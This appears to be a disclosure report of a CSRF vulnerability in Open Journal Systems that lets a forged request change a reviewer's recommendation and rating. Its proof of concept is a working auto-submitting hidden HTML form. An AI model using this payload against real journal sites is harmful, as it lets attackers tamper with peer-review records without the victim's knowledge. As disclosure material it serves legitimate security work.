CSRF in Review Details

2023-10-1218:25:11

hainguyen0207

www.huntr.dev

csrf

vulnerability

fake review

AI Score

7.1

Confidence

Low

EPSS

0.001

Percentile

24.1%

JSON

Description

CSRF in Review Details

Proof of Concept

1 . Attacker send form fake to user

        &lt;html&gt;
              &lt;body&gt;
                 &lt;form action="https://demo.publicknowledgeproject.org/ojs3/testdrive/index.php/testdrive- 
            journal/$$$call$$$/grid/users/reviewer/reviewer-grid/review-read"&gt;
                 &lt;input type="hidden" name="csrfToken" value="" /&gt;
                 &lt;input type="hidden" name="reviewAssignmentId" value="12" /&gt;
                 &lt;input type="hidden" name="submissionId" value="697" /&gt;
                 &lt;input type="hidden" name="stageId" value="3" /&gt;
                 &lt;input type="hidden" name="recommendation" value="2" /&gt;
                 &lt;input type="hidden" name="quality" value="2" /&gt;
                 &lt;input type="hidden" name="submitFormButton" value="" /&gt;
                 &lt;input type="submit" value="Submit request" /&gt;
             &lt;/form&gt;
              &lt;script&gt;
                  history.pushState('', '', '/');
                  document.forms[0].submit();
              &lt;/script&gt;
        &lt;/body&gt;
       &lt;/html&gt;

2 .User click, changed unwanted Recommendation and Reviewer rating changes

Video Poc

https://drive.google.com/file/d/1jUapGuHL1vR173QqXCdTGxybLXgbG99M/view?usp=sharing

Payload Poc

https://drive.google.com/file/d/11Xob6yqU12MEpK1aJVWRIJi5-3aduVu5/view?usp=sharing